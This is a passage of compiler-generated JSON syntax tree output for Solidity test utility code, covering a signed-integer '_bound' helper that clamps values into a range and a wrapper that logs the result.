pure"}},"id":11409,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3226:82:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":11410,"nodeType":"ExpressionStatement","src":"3226:82:11"},{"assignments":[11412],"declarations":[{"constant":false,"id":11412,"mutability":"mutable","name":"_x","nameLocation":"3744:2:11","nodeType":"VariableDeclaration","scope":11514,"src":"3736:10:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11411,"name":"uint256","nodeType":"ElementaryTypeName","src":"3736:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":11434,"initialValue":{"condition":{"commonType":{"typeIdentifier":"t_int256","typeString":"int256"},"id":11415,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11413,"name":"x","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11395,"src":"3749:1:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"hexValue":"30","id":11414,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3753:1:11","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"3749:5:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11431,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":11428,"name":"x","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11395,"src":"3803:1:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"id":11427,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3795:7:11","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":11426,"name":"uint256","nodeType":"ElementaryTypeName","src":"3795:7:11","typeDescriptions":{}}},"id":11429,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3795:10:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"id":11430,"name":"INT256_MIN_ABS","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11229,"src":"3808:14:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3795:27:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":11432,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"3794:29:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":11433,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"Conditional","src":"3749:74:11","trueExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11424,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11422,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11416,"name":"INT256_MIN_ABS","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11229,"src":"3758:14:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":11421,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"~","prefix":true,"src":"3775:11:11","subExpression":{"arguments":[{"id":11419,"name":"x","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11395,"src":"3784:1:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"id":11418,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3776:7:11","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":11417,"name":"uint256","nodeType":"ElementaryTypeName","src":"3776:7:11","typeDescriptions":{}}},"id":11420,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3776:10:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3758:28:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"hexValue":"31","id":11423,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3789:1:11","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"3758:32:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":11425,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"3757:34:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"3736:87:11"},{"assignments":[11436],"declarations":[{"constant":false,"id":11436,"mutability":"mutable","name":"_min","nameLocation":"3841:4:11","nodeType":"VariableDeclaration","scope":11514,"src":"3833:12:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11435,"name":"uint256","nodeType":"ElementaryTypeName","src":"3833:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":11458,"initialValue":{"condition":{"commonType":{"typeIdentifier":"t_int256","typeString":"int256"},"id":11439,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11437,"name":"min","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11397,"src":"3848:3:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"hexValue":"30","id":11438,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3854:1:11","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"3848:7:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11455,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":11452,"name":"min","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11397,"src":"3906:3:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"id":11451,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3898:7:11","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":11450,"name":"uint256","nodeType":"ElementaryTypeName","src":"3898:7:11","typeDescriptions":{}}},"id":11453,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3898:12:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"id":11454,"name":"INT256_MIN_ABS","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11229,"src":"3913:14:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3898:29:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":11456,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"3897:31:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":11457,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"Conditional","src":"3848:80:11","trueExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11448,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11446,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11440,"name":"INT256_MIN_ABS","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11229,"src":"3859:14:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":11445,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"~","prefix":true,"src":"3876:13:11","subExpression":{"arguments":[{"id":11443,"name":"min","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11397,"src":"3885:3:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"id":11442,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3877:7:11","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":11441,"name":"uint256","nodeType":"ElementaryTypeName","src":"3877:7:11","typeDescriptions":{}}},"id":11444,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3877:12:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3859:30:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"hexValue":"31","id":11447,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3892:1:11","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"3859:34:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":11449,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"3858:36:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"3833:95:11"},{"assignments":[11460],"declarations":[{"constant":false,"id":11460,"mutability":"mutable","name":"_max","nameLocation":"3946:4:11","nodeType":"VariableDeclaration","scope":11514,"src":"3938:12:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11459,"name":"uint256","nodeType":"ElementaryTypeName","src":"3938:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":11482,"initialValue":{"condition":{"commonType":{"typeIdentifier":"t_int256","typeString":"int256"},"id":11463,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11461,"name":"max","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11399,"src":"3953:3:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"hexValue":"30","id":11462,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3959:1:11","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"3953:7:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11479,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":11476,"name":"max","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11399,"src":"4011:3:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"id":11475,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4003:7:11","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":11474,"name":"uint256","nodeType":"ElementaryTypeName","src":"4003:7:11","typeDescriptions":{}}},"id":11477,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4003:12:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"id":11478,"name":"INT256_MIN_ABS","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11229,"src":"4018:14:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"4003:29:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":11480,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"4002:31:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":11481,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"Conditional","src":"3953:80:11","trueExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11472,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11470,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11464,"name":"INT256_MIN_ABS","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11229,"src":"3964:14:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":11469,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"~","prefix":true,"src":"3981:13:11","subExpression":{"arguments":[{"id":11467,"name":"max","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11399,"src":"3990:3:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"id":11466,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3982:7:11","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":11465,"name":"uint256","nodeType":"ElementaryTypeName","src":"3982:7:11","typeDescriptions":{}}},"id":11468,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3982:12:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3964:30:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"hexValue":"31","id":11471,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3997:1:11","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"3964:34:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":11473,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"3963:36:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"3938:95:11"},{"assignments":[11484],"declarations":[{"constant":false,"id":11484,"mutability":"mutable","name":"y","nameLocation":"4052:1:11","nodeType":"VariableDeclaration","scope":11514,"src":"4044:9:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11483,"name":"uint256","nodeType":"ElementaryTypeName","src":"4044:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":11490,"initialValue":{"arguments":[{"id":11486,"name":"_x","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11412,"src":"4063:2:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":11487,"name":"_min","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11436,"src":"4067:4:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":11488,"name":"_max","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11460,"src":"4073:4:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":11485,"name":"_bound","nodeType":"Identifier","overloadedDeclarations":[11368,11515],"referencedDeclaration":11368,"src":"4056:6:11","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$_t_uint256_$returns$_t_uint256_$","typeString":"function (uint256,uint256,uint256) pure returns (uint256)"}},"id":11489,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4056:22:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"4044:34:11"},{"expression":{"id":11512,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":11491,"name":"result","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11402,"src":"4166:6:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11494,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11492,"name":"y","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11484,"src":"4175:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"id":11493,"name":"INT256_MIN_ABS","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11229,"src":"4179:14:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"4175:18:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseExpression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11509,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11507,"name":"y","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11484,"src":"4239:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":11508,"name":"INT256_MIN_ABS","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11229,"src":"4243:14:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"4239:18:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":11506,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4232:6:11","typeDescriptions":{"typeIdentifier":"t_type$_t_int256_$","typeString":"type(int256)"},"typeName":{"id":11505,"name":"int256","nodeType":"ElementaryTypeName","src":"4232:6:11","typeDescriptions":{}}},"id":11510,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4232:26:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":11511,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"Conditional","src":"4175:83:11","trueExpression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11503,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11501,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"~","prefix":true,"src":"4203:21:11","subExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11499,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11497,"name":"INT256_MIN_ABS","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11229,"src":"4205:14:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":11498,"name":"y","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11484,"src":"4222:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"4205:18:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":11500,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"4204:20:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"hexValue":"31","id":11502,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4227:1:11","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"4203:25:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":11496,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4196:6:11","typeDescriptions":{"typeIdentifier":"t_type$_t_int256_$","typeString":"type(int256)"},"typeName":{"id":11495,"name":"int256","nodeType":"ElementaryTypeName","src":"4196:6:11","typeDescriptions":{}}},"id":11504,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4196:33:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"src":"4166:92:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":11513,"nodeType":"ExpressionStatement","src":"4166:92:11"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_bound","nameLocation":"3129:6:11","parameters":{"id":11400,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11395,"mutability":"mutable","name":"x","nameLocation":"3143:1:11","nodeType":"VariableDeclaration","scope":11515,"src":"3136:8:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":11394,"name":"int256","nodeType":"ElementaryTypeName","src":"3136:6:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":11397,"mutability":"mutable","name":"min","nameLocation":"3153:3:11","nodeType":"VariableDeclaration","scope":11515,"src":"3146:10:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":11396,"name":"int256","nodeType":"ElementaryTypeName","src":"3146:6:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":11399,"mutability":"mutable","name":"max","nameLocation":"3165:3:11","nodeType":"VariableDeclaration","scope":11515,"src":"3158:10:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":11398,"name":"int256","nodeType":"ElementaryTypeName","src":"3158:6:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"3135:34:11"},"returnParameters":{"id":11403,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11402,"mutability":"mutable","name":"result","nameLocation":"3208:6:11","nodeType":"VariableDeclaration","scope":11515,"src":"3201:13:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":11401,"name":"int256","nodeType":"ElementaryTypeName","src":"3201:6:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"3200:15:11"},"scope":11975,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":11543,"nodeType":"FunctionDefinition","src":"4271:208:11","nodes":[],"body":{"id":11542,"nodeType":"Block","src":"4366:113:11","nodes":[],"statements":[{"expression":{"id":11532,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":11526,"name":"result","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11524,"src":"4376:6:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":11528,"name":"x","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11517,"src":"4392:1:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":11529,"name":"min","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11519,"src":"4395:3:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":11530,"name":"max","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11521,"src":"4400:3:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"}],"id":11527,"name":"_bound","nodeType":"Identifier","overloadedDeclarations":[11368,11515],"referencedDeclaration":11515,"src":"4385:6:11","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_int256_$_t_int256_$_t_int256_$returns$_t_int256_$","typeString":"function (int256,int256,int256) pure returns (int256)"}},"id":11531,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4385:19:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"src":"4376:28:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":11533,"nodeType":"ExpressionStatement","src":"4376:28:11"},{"expression":{"arguments":[{"hexValue":"426f756e6420726573756c74","id":11535,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4436:14:11","typeDescriptions":{"typeIdentifier":"t_stringliteral_81387530263afdcc351da6c89e6a10d49583b5beb1fecaddd0371443f1cd026f","typeString":"literal_string \"Bound result\""},"value":"Bound result"},{"arguments":[{"id":11538,"name":"result","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11524,"src":"4464:6:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":11536,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11223,"src":"4452:2:11","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":11537,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4455:8:11","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13449,"src":"4452:11:11","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$returns$_t_string_memory_ptr_$","typeString":"function (int256) pure external returns (string memory)"}},"id":11539,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4452:19:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string 